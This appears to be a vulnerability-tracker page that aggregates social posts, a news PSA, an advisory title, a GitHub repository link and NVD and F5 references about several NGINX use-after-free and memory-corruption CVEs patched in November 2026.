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social mastodon.com.pl @sikorski 2026-11-18 16:42 UTCnginx-1.30.7 and nginx-1.31.9: vulnerability - fixes for use-after-free in resolver (CVE-2026-123634), - memory corruption in HTTP/2 flow control (CVE-2026-123007), - use-after-free in HTTP/3 (CVE-2026-121810), - use-after-free in HTTP/2 (…Open source
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code github.com LLCForge 2026-11-18 16:32 UTCLLCForge/CVE-2026-123634Open source
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news businesswire.com 2026-11-18 16:00 UTCPSA: Immediately Patch NGINX Web Servers Due to Critical Vulnerability Allowing Unauthenticated User RCE - Business WireOpen source
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social infosec.exchange @cve 2026-11-18 15:36 UTCCVE-2026-123634 NGINX resolver vulnerability This issue occurs when NGINX Plus or NGINX Open Source is configured as a proxy, the proxied server name includes variables, and a Server Side Includes (SSI) or mirror directive sends a subreque…Open source
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advisory wiz.io 2026-11-17 20:35 UTCUnauthenticated Remote Code Execution in NGINX: CVE-2026-123633 and CVE-2026-123007 - wiz.ioOpen source
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-123634 |
| my.f5.com |
GitHub CVE
vendor-advisory
patch
|
https://my.f5.com/manage/s/article/K000163925 |